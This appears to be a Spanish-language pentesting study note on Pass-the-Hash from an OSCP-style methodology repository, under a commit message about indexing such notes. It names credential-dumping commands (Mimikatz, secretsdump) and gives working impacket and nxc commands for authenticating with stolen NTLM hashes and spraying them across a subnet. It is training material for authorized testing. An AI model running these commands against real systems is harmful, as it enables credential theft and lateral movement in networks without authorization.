7e06ce46cf
El repo trae ahora ~73 docs de metodologia de pentesting (estilo OSCP, scrubeados de datos personales) que indexa.py indexa: un clon recien hecho ya sabe de enumeracion, explotacion web, shells, privesc, Active Directory, cracking... con los comandos, sin ningun dato privado. docs/rag.md lo refleja.
22 lines
765 B
Markdown
22 lines
765 B
Markdown
# Pass-the-Hash
|
|
|
|
> Te autenticas con el **hash NTLM** sin conocer la contraseña en claro. La base del Movimiento lateral en AD.
|
|
|
|
## De dónde sale el hash
|
|
- Mimikatz `sekurlsa::logonpasswords`
|
|
- secretsdump (SAM/NTDS)
|
|
- `lsadump::sam`
|
|
|
|
## Uso
|
|
```bash
|
|
impacket-psexec -hashes :NTLMHASH 'admin@10.10.10.20' # → SYSTEM
|
|
impacket-wmiexec -hashes :NTLMHASH 'admin@10.10.10.20'
|
|
nxc smb 10.10.10.0/24 -u admin -H NTLMHASH # spray del hash por la red
|
|
```
|
|
|
|
## Combos
|
|
- **Reutilización**: prueba el hash/usuario contra **todos** los hosts (Metodología OSCP).
|
|
- Password spraying: la misma pass de un user normal contra `administrator`, `sa`...
|
|
- Hash de krbtgt → ya no es PtH, es Golden Ticket.
|
|
|
|
Relacionado: Impacket · Movimiento lateral · OSCP MOC
|